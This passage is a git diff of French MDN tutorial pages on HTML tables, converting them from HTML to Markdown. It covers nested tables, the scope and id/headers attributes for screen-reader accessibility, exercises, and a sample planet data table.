<td>Coiffeur</td> + <td>12/09</td> + <td>Bonne idée</td> + <td>30</td> + </tr> + <tr> + <td>Lasagnes</td> + <td>Restaurant</td> + <td>12/09</td> + <td>Regrets</td> + <td>18</td> + </tr> + <tr> + <td>Souliers</td> + <td>Chaussures</td> + <td>13/09</td> + <td>Gros regrets</td> + <td>65</td> + </tr> + <tr> + <td>Dentifrice</td> + <td>Supermarché</td> + <td>13/09</td> + <td>Bien</td> + <td>5</td> + </tr> + </tbody> + </table> -<table> - <tbody> + </body> +</html> +``` + +{{ EmbedLiveSample("Apprentissage_actif_Ajout_d'une_structure_au_tableau", '100%', 300, "", "", "hide-codepen-jsfiddle") }} + +> **Note :** Vous pouvez aussi le trouver sur Github [spending-record-finished.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html) ([voir aussi le résultat](http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html) directement). + +## Tableaux imbriqués + +Il est possible d'inclure un tableau dans un autre, à condition d'en spécifier la structure complète, y compris l'élément `<table>`. Ce n'est généralement pas vraiment conseillé, car cette opération rend le balisage plus confus et moins accessible pour les utilisateurs de lecteurs d'écran, alors que dans de nombreux cas, il suffit d'insérer des cellules/lignes/colonnes supplémentaires dans un tableau existant. Mais il est parfois nécessaire de le faire, quand par exemple vous souhaitez importer facilement des données provenant d'autres sources. + +Le balisage suivant montre un tableau simple imbriqué : + +```html +<table id="table1"> <tr> - <th>title1</th> - <th>title2</th> - <th>title3</th> + <th>title1</th> + <th>title2</th> + <th>title3</th> </tr> <tr> - <td> - <table> - <tbody> - <tr> - <td>cell1</td> - <td>cell2</td> - <td>cell3</td> - </tr> - </tbody> - </table> - </td> - <td>cell2</td> - <td>cell3</td> + <td id="nested"> + <table id="table2"> + <tr> + <td>cell1</td> + <td>cell2</td> + <td>cell3</td> + </tr> + </table> + </td> + <td>cell2</td> + <td>cell3</td> </tr> <tr> - <td>cell4</td> - <td>cell5</td> - <td>cell6</td> + <td>cell4</td> + <td>cell5</td> + <td>cell6</td> </tr> - </tbody> </table> +``` + +Voici la sortie qui en résulte : + +| title1 | title2 | title3 | +| ------ | ------ | ------ | -<h2 id="Tableaux_pour_utilisateurs_malvoyants">Tableaux pour utilisateurs malvoyants</h2> +| <table> -<p>Rappelons brièvement comment nous utilisons les tableaux de données. Un tableau peut être un outil pratique pour accéder rapidement à une donnée et rechercher différentes valeurs. Par exemple, un bref coup d'oeil sur le tableau suivant suffit pour savoir combien de bagues ont été vendues à Gand en août dernier. Pour comprendre ces informations, nous faisons visuellement l'association entre les données du tableau et les en-têtes de colonnes et/ou de lignes.</p> + <tbody> + <tr> + <td>cell1</td> + <td>cell2</td> + <td>cell3</td> + </tr> + </tbody> +</table> | cell2 | cell3 | +| cell4 | cell5 | cell6 | + +## Tableaux pour utilisateurs malvoyants + +Rappelons brièvement comment nous utilisons les tableaux de données. Un tableau peut être un outil pratique pour accéder rapidement à une donnée et rechercher différentes valeurs. Par exemple, un bref coup d'oeil sur le tableau suivant suffit pour savoir combien de bagues ont été vendues à Gand en août dernier. Pour comprendre ces informations, nous faisons visuellement l'association entre les données du tableau et les en-têtes de colonnes et/ou de lignes. <table> - <caption>Articles vendus Août 2016</caption> - <tbody> - <tr> - <td> </td> - <td> </td> - <th colspan="3" scope="colgroup">Vêtements</th> - <th colspan="2" scope="colgroup">Accessoires</th> - </tr> - <tr> - <td> </td> - <td> </td> - <th scope="col">Pantalons</th> - <th scope="col">Jupes</th> - <th scope="col">Robes</th> - <th scope="col">Bracelets</th> - <th scope="col">Bagues</th> - </tr> - <tr> - <th rowspan="3" scope="rowgroup">Belgique</th> - <th scope="row">Anvers</th> - <td>56</td> - <td>22</td> - <td>43</td> - <td>72</td> - <td>23</td> - </tr> - <tr> - <th scope="row">Gand</th> - <td>46</td> - <td>18</td> - <td>50</td> - <td>61</td> - <td>15</td> - </tr> - <tr> - <th scope="row">Bruxelles</th> - <td>51</td> - <td>27</td> - <td>38</td> - <td>69</td> - <td>28</td> - </tr> - <tr> - <th rowspan="2" scope="rowgroup">Pays-bas</th> - <th scope="row">Amsterdam</th> - <td>89</td> - <td>34</td> - <td>69</td> - <td>85</td> - <td>38</td> - </tr> - <tr> - <th scope="row">Utrecht</th> - <td>80</td> - <td>12</td> - <td>43</td> - <td>36</td> - <td>19</td> - </tr> - </tbody> + <caption> + Articles vendus Août 2016 + </caption> + <tbody> + <tr> + <td> </td> + <td> </td> + <th colspan="3" scope="colgroup">Vêtements</th> + <th colspan="2" scope="colgroup">Accessoires</th> + </tr> + <tr> + <td> </td> + <td> </td> + <th scope="col">Pantalons</th> + <th scope="col">Jupes</th> + <th scope="col">Robes</th> + <th scope="col">Bracelets</th> + <th scope="col">Bagues</th> + </tr> + <tr> + <th rowspan="3" scope="rowgroup">Belgique</th> + <th scope="row">Anvers</th> + <td>56</td> + <td>22</td> + <td>43</td> + <td>72</td> + <td>23</td> + </tr> + <tr> + <th scope="row">Gand</th> + <td>46</td> + <td>18</td> + <td>50</td> + <td>61</td> + <td>15</td> + </tr> + <tr> + <th scope="row">Bruxelles</th> + <td>51</td> + <td>27</td> + <td>38</td> + <td>69</td> + <td>28</td> + </tr> + <tr> + <th rowspan="2" scope="rowgroup">Pays-bas</th> + <th scope="row">Amsterdam</th> + <td>89</td> + <td>34</td> + <td>69</td> + <td>85</td> + <td>38</td> + </tr> + <tr> + <th scope="row">Utrecht</th> + <td>80</td> + <td>12</td> + <td>43</td> + <td>36</td> + <td>19</td> + </tr> + </tbody> </table> -<p>Mais que faire si vous ne pouvez pas créer ces associations visuelles ? Comment pouvez-vous lire un tableau comme celui ci-dessus ? Les personnes malvoyantes utilisent souvent un lecteur d'écran qui leur lit les informations des pages web. Ce n'est pas un problème quand vous lisez du texte brut, mais l'interprêtation d'un tableau peut constituer un défi pour une personne aveugle. Néanmoins, avec le balisage approprié, nous pouvons remplacer des associations visuelles par des associations programmées.</p> +Mais que faire si vous ne pouvez pas créer ces associations visuelles ? Comment pouvez-vous lire un tableau comme celui ci-dessus ? Les personnes malvoyantes utilisent souvent un lecteur d'écran qui leur lit les informations des pages web. Ce n'est pas un problème quand vous lisez du texte brut, mais l'interprêtation d'un tableau peut constituer un défi pour une personne aveugle. Néanmoins, avec le balisage approprié, nous pouvons remplacer des associations visuelles par des associations programmées. -<div class="note"> -<p><strong>Note :</strong> Il y a environ 253 millions de personnes vivant avec des déficiences visuelles selon les <a href="http://www.who.int/mediacentre/factsheets/fs282/fr/" title="Vision Impairment Data">données de l'OMS en 2017</a>.</p> -</div> +> **Note :** Il y a environ 253 millions de personnes vivant avec des déficiences visuelles selon les [données de l'OMS en 2017](http://www.who.int/mediacentre/factsheets/fs282/fr/ "Vision Impairment Data"). -<p>Cette partie de l'article indique des techniques avancées pour rendre les tableaux les plus accessibles possible.</p> +Cette partie de l'article indique des techniques avancées pour rendre les tableaux les plus accessibles possible. -<h3 id="Utilisation_des_en-têtes_de_colonnes_et_de_lignes">Utilisation des en-têtes de colonnes et de lignes</h3> +### Utilisation des en-têtes de colonnes et de lignes -<p>Les lecteurs d'écran identifieront tous les en-têtes et les utiliseront pour réaliser automatiquement les associations entre ces en-têtes et les cellules correspondantes. La combinaison des en-têtes des colonnes et des lignes doit permettre d'identifier et d'interprêter les données de chaque cellule. Ainsi, les utilisateurs de lecteurs d'écran peuvent accéder aux données d'une façon similaire à celle des utilisateurs voyants.</p> +Les lecteurs d'écran identifieront tous les en-têtes et les utiliseront pour réaliser automatiquement les associations entre ces en-têtes et les cellules correspondantes. La combinaison des en-têtes des colonnes et des lignes doit permettre d'identifier et d'interprêter les données de chaque cellule. Ainsi, les utilisateurs de lecteurs d'écran peuvent accéder aux données d'une façon similaire à celle des utilisateurs voyants. -<p>Nous avons déjà traité des en-têtes dans notre article précédent — voir <a href="/fr/docs/Learn/HTML/Tables/Basics#Adding_headers_with_%3Cth%3E_elements">Ajouter des en-têtes avec <th></a> .</p> +Nous avons déjà traité des en-têtes dans notre article précédent — voir [Ajouter des en-têtes avec \<th>](/fr/docs/Learn/HTML/Tables/Basics#Adding_headers_with_%3Cth%3E_elements) . -<h3 id="L'attribut_scope">L'attribut <code>scope</code></h3> +### L'attribut `scope` -<p>Aux balises <code><th></code>, sujet de l'article précédent, ajoutons l'attribut {{htmlattrxref("scope","th")}}. Il peut être mentionné dans un élément <code><th></code> pour indiquer précisément à un lecteur d'écran si la cellule contient un en-tête de colonne ou de ligne — par exemple, sommes‑nous dans un en-tête de ligne, ou de colonne ? En revenant à notre exemple d'enregistrement de dépenses vu plus tôt, il est possible de définir sans ambiguité un en-tête de colonne comme étant un en-tête de colonne ainsi :</p> +Aux balises `<th>`, sujet de l'article précédent, ajoutons l'attribut {{htmlattrxref("scope","th")}}. Il peut être mentionné dans un élément `<th>` pour indiquer précisément à un lecteur d'écran si la cellule contient un en-tête de colonne ou de ligne — par exemple, sommes‑nous dans un en-tête de ligne, ou de colonne ? En revenant à notre exemple d'enregistrement de dépenses vu plus tôt, il est possible de définir sans ambiguité un en-tête de colonne comme étant un en-tête de colonne ainsi : -<pre class="brush: html"><thead> - <tr> - <th scope="col">Achats</th> - <th scope="col">Ou ?</th> - <th scope="col">Date</th> - <th scope="col">Avis</th> - <th scope="col">Coût (€)</th> - </tr> -</thead></pre> +```html +<thead> + <tr> + <th scope="col">Achats</th> + <th scope="col">Ou ?</th> + <th scope="col">Date</th> + <th scope="col">Avis</th> + <th scope="col">Coût (€)</th> + </tr> +</thead> +``` -<p>Et chaque ligne pourrait également avoir une définition de son en-tête comme ceci (à condition d'avoir ajouté des en-têtes de lignes comme des en-têtes de colonnes):</p> +Et chaque ligne pourrait également avoir une définition de son en-tête comme ceci (à condition d'avoir ajouté des en-têtes de lignes comme des en-têtes de colonnes): -<pre class="brush: html"><tr> - <th scope="row">Coupe de cheveux</th> - <td>Coiffeur</td> - <td>12/09</td> - <td>Bonne idée</td> - <td>30</td> -</tr></pre> +```html +<tr> + <th scope="row">Coupe de cheveux</th> + <td>Coiffeur</td> + <td>12/09</td> + <td>Bonne idée</td> + <td>30</td> +</tr> +``` -<p>Les lecteurs d'écran reconnaîtront un balisage structuré comme celui-ci et permettront à leurs utilisateurs de lire en une fois une colonne ou une ligne entière par exemple.</p> +Les lecteurs d'écran reconnaîtront un balisage structuré comme celui-ci et permettront à leurs utilisateurs de lire en une fois une colonne ou une ligne entière par exemple. -<p><code>scope</code> a deux autres valeurs possibles — <code>colgroup</code> et <code>rowgroup</code>. Elles sont utilisées pour les en-têtes qui couvrent plusieurs colonnes ou lignes. Si vous revenez au tableau « Articles vendus... » au début de ce paragraphe du présent article, vous voyez que la cellule « Vêtements » se trouve au-dessus des cellules « Pantalons », « Jupes » et « Robes ». Toutes ces cellules sont marquées comme en-têtes (<code><th></code>), mais « Vêtements » est un en-tête de niveau supérieur qui définit trois « sous-en-têtes ». « Vêtements » comportera donc un attribut <code>scope="colgroup"</code>, alors que les autres doivent recevront un attribut <code>scope="col"</code>.</p> +`scope` a deux autres valeurs possibles — `colgroup` et `rowgroup`. Elles sont utilisées pour les en-têtes qui couvrent plusieurs colonnes ou lignes. Si vous revenez au tableau « Articles vendus... » au début de ce paragraphe du présent article, vous voyez que la cellule « Vêtements » se trouve au-dessus des cellules « Pantalons », « Jupes » et « Robes ». Toutes ces cellules sont marquées comme en-têtes (`<th>`), mais « Vêtements » est un en-tête de niveau supérieur qui définit trois « sous-en-têtes ». « Vêtements » comportera donc un attribut `scope="colgroup"`, alors que les autres doivent recevront un attribut `scope="col"`. -<h3 id="Les_attributs_id_et_headers">Les attributs <code>id</code> et <code>headers</code></h3> +### Les attributs `id` et `headers` -<p>Une alternative à l'usage de l'attribut <code>scope</code> est l'utilisation des attributs {{htmlattrxref("id")}} et {{htmlattrxref("headers", "td")}} pour créer une association entre en-têtes et cellules. Ils sont utilisés de la manière suivante :</p> +Une alternative à l'usage de l'attribut `scope` est l'utilisation des attributs {{htmlattrxref("id")}} et {{htmlattrxref("headers", "td")}} pour créer une association entre en-têtes et cellules. Ils sont utilisés de la manière suivante : -<ol> - <li>Vous ajoutez un identifiant unique <code>id</code> à chaque élément <code><th></code>.</li> - <li>Vous ajoutez un attribut <code>headers</code> à chaque élément <code><td></code> . Chaque attribut <code>headers</code> doit contenir une liste des <code>id</code> de tous les éléments <th> qu'il contient, séparés par des espaces.</li> -</ol> +1. Vous ajoutez un identifiant unique `id` à chaque élément `<th>`. +2. Vous ajoutez un attribut `headers` à chaque élément `<td>` . Chaque attribut `headers` doit contenir une liste des `id` de tous les éléments \<th> qu'il contient, séparés par des espaces. -<p>Votre tableau HTML possède donc la position explicite de chaque cellule dans le tableau, définie par les en-têtes de chaque colonne et chaque ligne qui en font partie, un peu comme dans une feuille de calcul. Pour un bon fonctionnement, le tableau a réellement besoin d'en-têtes de colonnes et de lignes.</p> +Votre tableau HTML possède donc la position explicite de chaque cellule dans le tableau, définie par les en-têtes de chaque colonne et chaque ligne qui en font partie, un peu comme dans une feuille de calcul. Pour un bon fonctionnement, le tableau a réellement besoin d'en-têtes de colonnes et de lignes. -<p>En revenant à notre exemple de tableau des dépenses et des coûts, les deux extraits précédents pourraient être réécrits ainsi :</p> +En revenant à notre exemple de tableau des dépenses et des coûts, les deux extraits précédents pourraient être réécrits ainsi : -<pre class="brush: html"><thead> - <tr> - <th id="purchase">Achats</th> - <th id="location">Où ?</th> - <th id="date">Date</th> - <th id="evaluation">Avis</th> - <th id="cost">Coût (€)</th> - </tr> -</thead> -<tbody> -<tr> - <th id="haircut">Coupe de cheveux</th> - <td headers="location haircut">Coiffeur</td> - <td headers="date haircut">12/09</td> - <td headers="evaluation haircut">Bonne idée</td> - <td headers="cost haircut">30</td> -</tr> +```html +<thead> + <tr> + <th id="purchase">Achats</th> + <th id="location">Où ?</th> + <th id="date">Date</th> + <th id="evaluation">Avis</th> + <th id="cost">Coût (€)</th> + </tr> +</thead> +<tbody> +<tr> + <th id="haircut">Coupe de cheveux</th> + <td headers="location haircut">Coiffeur</td> + <td headers="date haircut">12/09</td> + <td headers="evaluation haircut">Bonne idée</td> + <td headers="cost haircut">30</td> +</tr> ... -</tbody></pre> +</tbody> +``` -<div class="note"> -<p><strong>Note :</strong> Cette méthode crée des associations très précises entre en-têtes et données mais elle utilise <strong>beaucoup</strong> plus de balisage et ne laisse aucune marge d'erreur. L'approche <code>scope</code> est généralement suffisante pour la plupart des tableaux.</p> -</div> +> **Note :** Cette méthode crée des associations très précises entre en-têtes et données mais elle utilise **beaucoup** plus de balisage et ne laisse aucune marge d'erreur. L'approche `scope` est généralement suffisante pour la plupart des tableaux. -<h3 id="Apprentissage_actif_jouer_avec_scope_et_headers">Apprentissage actif : jouer avec <code>scope</code> et <code>headers</code></h3> +### Apprentissage actif : jouer avec `scope` et `headers` -<ol> - <li>Pour cet exercice final, nous aimerions que vous fassiez une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html">items‑sold.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a>, dans un nouveau répertoire.</li> - <li>Maintenant essayez d'ajouter un attribut <code>scope</code> approprié pour améliorer ce tableau.</li> - <li>Enfin, essayez avec une autre copie du fichier initial, de faire un tableau plus accessible en utilisant les attributs <code>id</code> et <code>headers</code>.</li> -</ol> +1. Pour cet exercice final, nous aimerions que vous fassiez une copie locale de [items‑sold.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css), dans un nouveau répertoire. +2. Maintenant essayez d'ajouter un attribut `scope` approprié pour améliorer ce tableau. +3. Enfin, essayez avec une autre copie du fichier initial, de faire un tableau plus accessible en utilisant les attributs `id` et `headers`. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez contrôler votre travail en le comparant à nos exemples finis — voir <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html">items-sold-scope.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html">voir aussi directement</a>)<br> - et <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html">items-sold-headers.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html">voir aussi directement</a>).</p> -</div> +> **Note :** Vous pouvez contrôler votre travail en le comparant à nos exemples finis — voir [items-sold-scope.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html)) +> et [items-sold-headers.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html)). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Il reste encore quelques autres choses à apprendre sur les tableaux HTML, mais nous vous avons vraiment indiqué tout ce qu'il est nécessaire de savoir pour le moment. À ce stade, vous voulez peut-être en apprendre plus sur les styles de tableaux HTML — voyez alors <a href="/fr/docs/Learn/CSS/Styling_boxes/Styling_tables">Décor des tableaux</a>.</p> +Il reste encore quelques autres choses à apprendre sur les tableaux HTML, mais nous vous avons vraiment indiqué tout ce qu'il est nécessaire de savoir pour le moment. À ce stade, vous voulez peut-être en apprendre plus sur les styles de tableaux HTML — voyez alors [Décor des tableaux](/fr/docs/Learn/CSS/Styling_boxes/Styling_tables). -<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> +{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}} -<div> -<div> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Tables/Basics">Tableaux HTML : notions de base</a></li> - <li><a href="/fr/docs/Learn/HTML/Tables/Advanced">Tableaux HTML : dispositions avancées et accessibilité</a></li> - <li><a href="/fr/docs/Learn/HTML/Tables/Structuring_planet_data">Structuration de données sur les planètes</a></li> -</ul> -</div> -</div> +- [Tableaux HTML : notions de base](/fr/docs/Learn/HTML/Tables/Basics) +- [Tableaux HTML : dispositions avancées et accessibilité](/fr/docs/Learn/HTML/Tables/Advanced) +- [Structuration de données sur les planètes](/fr/docs/Learn/HTML/Tables/Structuring_planet_data) diff --git a/files/fr/learn/html/tables/basics/index.md b/files/fr/learn/html/tables/basics/index.md index fe9ef9ef91..5d8b0ecc45 100644 --- a/files/fr/learn/html/tables/basics/index.md +++ b/files/fr/learn/html/tables/basics/index.md @@ -19,539 +19,542 @@ tags: translation_of: Learn/HTML/Tables/Basics original_slug: Apprendre/HTML/Tableaux/Basics --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}} -<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> - -<p>Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, les cellules, les en-têtes, les cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style.</p> +Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, les cellules, les en-têtes, les cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les bases de HTML (voir <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec les tableaux HTML.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les bases de HTML (voir + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction au HTML</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Se familiariser avec les tableaux HTML.</td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_quun_tableau">Qu'est-ce qu'un tableau ?</h2> +## Qu'est-ce qu'un tableau ? -<p>Un tableau est un ensemble structuré de données (<strong>table de données</strong>) présentées en lignes et colonnes. Un tableau vous permet de retrouver rapidement et facilement des valeurs au croisement entre différents types de données, par exemple : une personne et son âge, ou un jour et la semaine, ou les horaires d'ouverture de la piscine du quartier.</p> +Un tableau est un ensemble structuré de données (**table de données**) présentées en lignes et colonnes. Un tableau vous permet de retrouver rapidement et facilement des valeurs au croisement entre différents types de données, par exemple : une personne et son âge, ou un jour et la semaine, ou les horaires d'ouverture de la piscine du quartier. -<p><img alt="A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47." src="numbers-table.png"></p> + -<p><img alt="A swimming timetable showing a sample data table" src="swimming-timetable.png"></p> + -<p>Les tableaux sont très couramment utilisés dans la société humaine, et depuis très longtemps, pour preuve ce document du recensement américain datant de 1800 :</p> +Les tableaux sont très couramment utilisés dans la société humaine, et depuis très longtemps, pour preuve ce document du recensement américain datant de 1800 : -<p><img alt="A very old parchment document; the data is not easily readable, but it clearly shows a data table being used." src="1800-census.jpg"></p> + -<p>Il n'est donc pas étonnant que les créateurs du HTML fournissent un moyen de structurer et de présenter des tableaux de données sur le Web .</p> +Il n'est donc pas étonnant que les créateurs du HTML fournissent un moyen de structurer et de présenter des tableaux de données sur le Web . -<h3 id="Comment_fonctionne_un_tableau">Comment fonctionne un tableau ?</h3> +### Comment fonctionne un tableau ? -<p>L'avantage du tableau tient dans sa rigueur. L'information est facilement interprétée par des associations visuelles entre les en‑têtes de lignes et colonnes. Cherchez dans la table ci-dessous par exemple et trouvez une planète géante gazeuse du système jovien avec 62 lunes. Vous pouvez trouver la réponse en associant les en-têtes de lignes et colonnes pertinents.</p> +L'avantage du tableau tient dans sa rigueur. L'information est facilement interprétée par des associations visuelles entre les en‑têtes de lignes et colonnes. Cherchez dans la table ci-dessous par exemple et trouvez une planète géante gazeuse du système jovien avec 62 lunes. Vous pouvez trouver la réponse en associant les en-têtes de lignes et colonnes pertinents. <table> - <caption>Données sur les planètes du système solaire (repris de <a href="http://nssdc.gsfc.nasa.gov/planetary/factsheet/">Nasa's Planetary Fact Sheet - Metric</a>).</caption> - <thead> - <tr> - <td colspan="2"></td> - <th scope="col">Nom</th> - <th scope="col">Masse (10<sup>24</sup>kg)</th> - <th scope="col">Diamètre (km)</th> - <th scope="col">Densité (kg/m<sup>3</sup>)</th> - <th scope="col">Gravité (m/s<sup>2</sup>)</th> - <th scope="col">Durée du jour (hours)</th> - <th scope="col">Distance du Soleil (10<sup>6</sup>km)</th> - <th scope="col">Température moyenne (°C)</th> - <th scope="col">Nombre de lunes</th> - <th scope="col">Notes</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="2" rowspan="4" scope="rowgroup">Planètes telluriques</th> - <th scope="row">Mercure</th> - <td>0.330</td> - <td>4,879</td> - <td>5427</td> - <td>3.7</td> - <td>4222.6</td> - <td>57.9</td> - <td>167</td> - <td>0</td> - <td>La plus proche du Soleil</td> - </tr> - <tr> - <th scope="row">Venus</th> - <td>4.87</td> - <td>12,104</td> - <td>5243</td> - <td>8.9</td> - <td>2802.0</td> - <td>108.2</td> - <td>464</td> - <td>0</td> - <td></td> - </tr> - <tr> - <th scope="row">Terre</th> - <td>5.97</td> - <td>12,756</td> - <td>5514</td> - <td>9.8</td> - <td>24.0</td> - <td>149.6</td> - <td>15</td> - <td>1</td> - <td>Notre monde</td> - </tr> - <tr> - <th scope="row">Mars</th> - <td>0.642</td> - <td>6,792</td> - <td>3933</td> - <td>3.7</td> - <td>24.7</td> - <td>227.9</td> - <td>-65</td> - <td>2</td> - <td>La planète rouge</td> - </tr> - <tr> - <th rowspan="4" scope="rowgroup">Planètes joviennes</th> - <th rowspan="2" scope="rowgroup">Géantes gazeuses</th> - <th scope="row">Jupiter</th> - <td>1898</td> - <td>142,984</td> - <td>1326</td> - <td>23.1</td> - <td>9.9</td> - <td>778.6</td> - <td>-110</td> - <td>67</td> - <td>La plus grosse planète</td> - </tr> - <tr> - <th scope="row">Saturne</th> - <td>568</td> - <td>120,536</td> - <td>687</td> - <td>9.0</td> - <td>10.7</td> - <td>1433.5</td> - <td>-140</td> - <td>62</td> - <td></td> - </tr> - <tr> - <th rowspan="2" scope="rowgroup">Géantes glacées</th> - <th scope="row">Uranus</th> - <td>86.8</td> - <td>51,118</td> - <td>1271</td> - <td>8.7</td> - <td>17.2</td> - <td>2872.5</td> - <td>-195</td> - <td>27</td> - <td></td> - </tr> - <tr> - <th scope="row">Neptune</th> - <td>102</td> - <td>49,528</td> - <td>1638</td> - <td>11.0</td> - <td>16.1</td> - <td>4495.1</td> - <td>-200</td> - <td>14</td> - <td></td> - </tr> - <tr> - <th colspan="2" scope="rowgroup">Planètes naines</th> - <th scope="row">Pluton</th> - <td>0.0146</td> - <td>2,370</td> - <td>2095</td> - <td>0.7</td> - <td>153.3</td> - <td>5906.4</td> - <td>-225</td> - <td>5</td> - <td>Déclassée en tant que planète en 2006 mais décision controverséee.</td> - </tr> - </tbody> + <caption> + Données sur les planètes du système solaire (repris de + <a href="http://nssdc.gsfc.nasa.gov/planetary/factsheet/" + >Nasa's Planetary Fact Sheet - Metric</a + >). + </caption> + <thead> + <tr> + <td colspan="2"></td> + <th scope="col">Nom</th> + <th scope="col">Masse (10<sup>24</sup>kg)</th> + <th scope="col">Diamètre (km)</th> + <th scope="col">Densité (kg/m<sup>3</sup>)</th> + <th scope="col">Gravité (m/s<sup>2</sup>)</th> + <th scope="col">Durée du jour (hours)</th> + <th scope="col">Distance du Soleil (10<sup>6</sup>km)</th> + <th scope="col">Température moyenne (°C)</th> + <th scope="col">Nombre de lunes</th> + <th scope="col">Notes</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="2" rowspan="4" scope="rowgroup">Planètes telluriques</th> + <th scope="row">Mercure</th> + <td>0.330</td> + <td>4,879</td> + <td>5427</td> + <td>3.7</td> + <td>4222.6</td> + <td>57.9</td> + <td>167</td> + <td>0</td> + <td>La plus proche du Soleil</td> + </tr> + <tr> + <th scope="row">Venus</th> + <td>4.87</td> + <td>12,104</td> + <td>5243</td> + <td>8.9</td> + <td>2802.0</td> + <td>108.2</td> + <td>464</td> + <td>0</td> + <td></td> + </tr> + <tr> + <th scope="row">Terre</th> + <td>5.97</td> + <td>12,756</td> + <td>5514</td> + <td>9.8</td> + <td>24.0</td> + <td>149.6</td> + <td>15</td> + <td>1</td> + <td>Notre monde</td> + </tr> + <tr> + <th scope="row">Mars</th> + <td>0.642</td> + <td>6,792</td> + <td>3933</td> + <td>3.7</td> + <td>24.7</td> + <td>227.9</td> + <td>-65</td> + <td>2</td> + <td>La planète rouge</td> + </tr> + <tr> + <th rowspan="4" scope="rowgroup">Planètes joviennes</th> + <th rowspan="2" scope="rowgroup">Géantes gazeuses</th> + <th scope="row">Jupiter</th> + <td>1898</td> + <td>142,984</td> + <td>1326</td> + <td>23.1</td> + <td>9.9</td> + <td>778.6</td> + <td>-110</td> + <td>67</td> + <td>La plus grosse planète</td> + </tr> + <tr> + <th scope="row">Saturne</th> + <td>568</td> + <td>120,536</td> + <td>687</td> + <td>9.0</td> + <td>10.7</td> + <td>1433.5</td> + <td>-140</td> + <td>62</td> + <td></td> + </tr> + <tr> + <th rowspan="2" scope="rowgroup">Géantes glacées</th> + <th scope="row">Uranus</th> + <td>86.8</td> + <td>51,118</td> + <td>1271</td> + <td>8.7</td> + <td>17.2</td> + <td>2872.5</td> + <td>-195</td> + <td>27</td> + <td></td> + </tr> + <tr> + <th scope="row">Neptune</th> + <td>102</td> + <td>49,528</td> + <td>1638</td> + <td>11.0</td> + <td>16.1</td> + <td>4495.1</td> + <td>-200</td> + <td>14</td> + <td></td> + </tr> + <tr> + <th colspan="2" scope="rowgroup">Planètes naines</th> + <th scope="row">Pluton</th> + <td>0.0146</td> + <td>2,370</td> + <td>2095</td> + <td>0.7</td> + <td>153.3</td> + <td>5906.4</td> + <td>-225</td> + <td>5</td> + <td> + Déclassée en tant que planète en 2006 mais décision controverséee. + </td> + </tr> + </tbody> </table> -<p>Lorsque cela est fait correctement, même les personnes malvoyantes peuvent interpréter des données tabulaires dans un tableau HTML — un tableau HTML réussi doit permettre la perception des données à des utilisateurs déficients visuels ou malvoyants.</p> +Lorsque cela est fait correctement, même les personnes malvoyantes peuvent interpréter des données tabulaires dans un tableau HTML — un tableau HTML réussi doit permettre la perception des données à des utilisateurs déficients visuels ou malvoyants. + +### Style de tableau + +Vous pouvez également [regarder sur l'exemple réel](https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html) sur GitHub ! Vous remarquerez sur celui-ci que le tableau est légèrement plus lisible — car le tableau figurant ci-dessus présente un style minimal, alors que sa version sur GitHub est liée à un CSS plus signifiant. + +Ne vous faites pas d'illusions ; pour obtenir un tableau avec un certain effet sur le web, vous devez fournir un minimum d'informations de style avec [CSS](/fr/docs/Learn/CSS), ainsi qu'une structure solide avec HTML. Dans ce module nous nous concentrons sur la partie HTML ; pour en savoir plus sur la partie CSS, vous devrez lire notre article [Style et tableaux](/fr/docs/Learn/CSS/Styling_boxes/Styling_tables) quand vous aurez fini ici. -<h3 id="Style_de_tableau">Style de tableau</h3> +Nous n'approfondirons pas le CSS dans ce module, mais nous avons écrit une feuille de style minimale CSS à utiliser ici, feuille de style qui rendra les tableaux plus lisibles qu'avec un format par défaut sans style. Vous trouverez cette [feuille de style 